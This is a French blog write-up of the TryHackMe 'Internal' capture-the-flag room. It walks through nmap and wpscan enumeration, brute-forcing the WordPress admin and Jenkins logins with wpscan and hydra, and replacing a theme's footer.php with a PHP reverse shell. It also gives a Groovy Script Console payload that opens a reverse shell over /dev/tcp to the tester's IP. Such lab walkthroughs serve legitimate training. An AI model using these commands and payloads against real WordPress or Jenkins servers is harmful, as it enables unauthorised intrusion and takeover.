Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux

Salut à tous ! Le writeup de cet article nous amènera sur TryHackme, précisément la room Internal. C’est un challenge très intéressant pour s’entraîner en matière de pentest.

Le CTF est de niveau hard, avec du scan, de l’énumération, du bruteforce wpscan et hydra sur Jenkins, l’usage des payloads e RCE… bref on a du pain sur la planche…

Vous pouvez retrouver cette machine ici.

Reconnaissance

Comme d’habitude, nous allons commencer par recueillir des informations sur notre cible.

nmap -sV -p- -Pn -T4 10.10.114.176
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-07 16:04 WAT
Warning: 10.10.238.250 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.238.250
Host is up (0.15s latency).
Not shown: 65504 closed ports, 29 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

D’après les résultats du scan Nmap, notre machine a deux ports ouverts:

  • le port 22 sur lequel tourne le service ssh;
  • le port 80 sur lequel tourne le service http.

Nous allons nous intéresser premièrement au port 80.

En accédant à l’adresse IP dans notre navigateur, nous obtenons la page par défaut de Apache2. Aucune information n’a été trouvé en fouillant le code source.

Alors nous utiliserons l’outil dirb pour rechercher les éventuelles pages cachées: dirb http://10.10.114.176

Nous avons découvert un répertoire /blog. Le style de la page étant dégradé, nous inspectons donc le code source.

Nous pouvons remarquer que les fichiers de styles sont inclus depuis le domaine internal.thm

Nous allons donc ajouter l’adresse IP de la machine cible suivi du nom de domaine dans le fichier host: il s’agit de la résolution DNS. La commande ci-après nous permettra de faire la résolution:

echo "10.10.114.176 internal.thm" >> /etc/hosts

Sur ce, tout semble redevenir lisible et appréciable

En parcourant cette page, nous constatons que le site a été conçu avec du WordPress.

Nous allons donc utiliser l’outil wpscan pour faire de l’énumération.

WPSCAN, c’est quoi ?

wpscan est un outil disponible sur Kali Linux qui permet de faire de l’énumération sur des sites conçus avec WordPress. C’est un outil capable de révéler des vulnérabilités sur un site WordPress et d’identifier les comptes utilisateur existants en backend.

Dans notre contexte, nous ferons l’énumération des plugins et thèmes vulnérables et d’identifier les utilisateurs.

Commande:

wpscan -e u vp vt dbe --url http://internal.thm/blog/
  • -e pour signifier énumération
  • u pour designer utilisateur
  • vp pour signifier les plugins vulnérables
  • vt pour signifier les thèmes vulnérables
  • dbe pour signifier l’export de la base de données

Vous découvrirez d’autres options dans le manuel de wpsacn en tapant wpscan -h

Dans la sortie de notre commande, nous pouvons identifier un unique utilisateur du nom de admin.

Bruteforce avec wpscan

Nous allons faire du bruteforce sur l’utilisateur admin dans le but de trouver son mot de passe.

Pour le faire, la commande est la suivante:

wpscan -U admin -P /usr/share/wordlists/rockyou.txt --url http://internal.thm/blog/

Eh voilà ! Nous venons de découvrir le mot de passe de l’admin 😀 .

Ensuite, nous utiliserons ce mot de passe pour nous connecter à l’adresse

http://internal.thm/wp-admin 

Maintenant place à l’exploitation !

Exploitation

Généralement, quand on a accès à un compte WordPress, la chose qu’on arrive à faire est le reverse shell. Alors dans notre contexte, nous allons modifier un fichier php du thème de notre site. Pour ce faire, nous irons dans le menu apparence.

Nous pouvons remarquer que c’est le thème Twenty Seventeen qui est actif (vous auriez découvert cela dans les résultats de l’outil wpscan)..

Ensuite cliquer sur le sous-menu Theme Editor

Notre but ici est de modifier un fichier php utilisé par le thème pour obtenir le reverse shell.

On sait tous que le footer est un bloc qui est forcément utilisé par le thème et figure partout sur notre site, quelque soit la page. Nous allons donc modifier le fichier footer.php

Son contenu sera remplacé par notre script php de reverse shell disponible ici trouvé sur github.

NB: La valeur des variables $ip et $port doivent être changées respectivement en l’adresse ip de votre machine physique (l’adresse octroyée par le VPN) et le port d’écoute.

Dans mon cas, voici mes modifications:

$ip = '10.8.9.227';  
$port = 4444;

Une fois les modifications terminées, cliquer sur Update File pour mettre à jour le fichier footer.php edité. Après cela, lancer la commande nc pour recevoir la connection sur le port indiqué.

Dans mon cas:

nc -lnvp 4444

Ensuite, nous chargerons une page quelconque du site WordPress.

Et puis Bingo ! Nous obtenons le shell !

A présent, nous allons fouiller un peu sur le site dans le but de trouver des informations qui pourront être utiles. A cet effet, nous avons parcouru les répertoires les plus connus sous Linux. Dans le répertoire /opt nous y trouvons un fichier intéressant !

Dans le fichier, nous pouvons remarquer qu’il s’agit des identifications de connexion. Essayons sur le serveur ssh !

Gain d’accès par SSH

Les identifiants trouvés nous ont permis à se connecter via SSH.

Le premier flag se trouve dans le fichier user.txt

Nous découvrons également un autre fichier nommé jenkins.txt

Il est donc à remarquer que la machine en question dispose d’un autre réseau qu’on devrait joindre afin de consulter l’application jenkins.

Pour cela, il nous faut donc taper la commande ci-après:

ssh -L 8888:172.17.0.2:8080 aubreanna@10.10.114.176

Cette commande nous permet de joindre l’application jenkins sur notre serveur local (127.0.0.1) au port 8888

Suite à cela, nous pouvons accéder à l’application Jenkins à l’adresse 127.0.0.1:8888

Nous tombons sur la page d’authentification de Jenkins.

Nous avons essayé les identifiants par défaut sans suite. La seconde alternative était le bruteforce avec l’outil hydra. Vous pouvez en apprendre plus sur Hydra en question dans notre tuto dédié.

Bruteforce avec hydra

En analysant les requêtes liées à l’authentification sur la page, nous lançons la commande hydra ci-apès:

hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"

Nous venons ainsi d’obtenir le mot de passe (d’après l’image ci-dessus) pour se connecter à l’application Jenkins.

dashboard de jenkins

Exécution de code à distance

Une vulnérabilité bien connue de Jenkins est l’exécution de commande à distance. Pour le faire, nous cliquerons sur le menu Manage jenkins puis sur Script console

Une fois dans la console, nous y mettons notre payload puis cliquer sur Run pour avoir un reverse shell.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.9.227/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

avec 10.8.9.227 l’adresse ip attribuée à ma machine physique par le VPN et 4444 le port d’écoute de votre choix.

Dans un autre terminal, nous exécutons la commande d’écoute de port:

nc -lnvp 4444

Après avoir obtenu, nous avons parcouru certains répertoires usuels et retrouvons dans /opt un fichier note.txt contenant les identifiants de connexion de l’utilisateur root.

Sur ce, nous allons nous connecter avec les identifiants obtenus et lire le flag !

Et puis c’est tout ! C’est assez long mais riche en notion après tout. Merci de m’avoir suivi.

A très bientôt !

3 thoughts on “WordPress hacking, Jenkins bruteforce sur TryHackMe Internal : Writeup”
  1. Vraiment intéressant. Ayant des sites sous wp avec des vieux plugins pourtant utile, je vais tenter de voir les vulnérabilités.

Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.